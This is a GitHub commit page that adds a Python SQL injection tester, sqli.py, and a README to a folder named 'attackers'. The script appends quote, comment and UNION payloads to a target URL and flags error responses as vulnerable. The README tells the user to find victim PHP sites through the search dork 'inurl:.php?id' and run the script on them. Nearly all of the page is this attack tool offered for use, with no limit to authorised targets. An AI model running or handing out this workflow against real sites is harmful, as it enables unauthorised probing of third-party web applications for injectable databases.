Skip to content

Commit

Permalink
Create SQLi tester for Web App vuln scanner
Browse files Browse the repository at this point in the history
  • Loading branch information
dmdhrumilmistry committed Jun 5, 2022
1 parent 36758fc commit 4dbd25b
Show file tree
Hide file tree
Showing 2 changed files with 97 additions and 0 deletions.
15 changes: 15 additions & 0 deletions attackers/Websites/vuln_scanner/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
# Vuln Scanner

## sqli.py

- Search for php websites using search engine

```text
inurl:.php?id
```
- Use sqli.py to test the WebApp
```bash
python3 sqli.py -u [url]
```
82 changes: 82 additions & 0 deletions attackers/Websites/vuln_scanner/sqli.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
'''
Module: sqli.py
Author: dmdhrumilmistry
Project: github.com/dmdhrumilmistry/pyhtools
License: MIT
'''
from argparse import ArgumentParser
from requests import (get)
from sys import exit


def is_url_valid(url: str) -> bool:
'''
desc: checks if url is valid, returns True if url is valid else False
params: url (str): url of the target
returns: bool
'''
is_valid = False
if 'http://' in url or 'https://' in url:
is_valid = True

if len(url.split('?')[-1]) == 0:
is_valid = False

return is_valid


def is_vulnerable(url: str) -> bool:
'''
desc: tests whether app is vulnerable to the url, returns True if vulnerable else returns False
params: url (str): url of the target
returns: bool
'''
response = get(url=url)
content = response.content.lower()

if response.status_code != 200 or b'error' in content or b'on line' in content or b'at line' in content:
return True

return False


def enumerate_tests(url):
'''
desc: tests application for various SQL injection methods
params: url (str): url of the target
returns: None
'''
vuln_links = 0
sqli_payloads = ["'", "'--",
"' UNION SELECT NULL--", "' UNION ORDER BY 1--"]

for payload in sqli_payloads:
payload_url = url + payload

if is_vulnerable(payload_url):
print(f'[URL] {payload_url}')
print(f'[PAYLOAD] {payload}')
print('-'*40)
vuln_links += 1

print(f'[VULN] {vuln_links} total vulnerable links found')


if __name__ == '__main__':
# create argument parser
parser = ArgumentParser()
parser.add_argument('-u', '--url', dest='url',
help='URL of the target with parameter', required=True)

# get args
args = parser.parse_args()
url = args.url

# verify url
if not is_url_valid(url):
print('[ERROR] URL is invalid')
print('[HINT] use `http://` or `https://` in url')
exit()

# test Web Application
enumerate_tests(url)

0 comments on commit 4dbd25b

Please sign in to comment.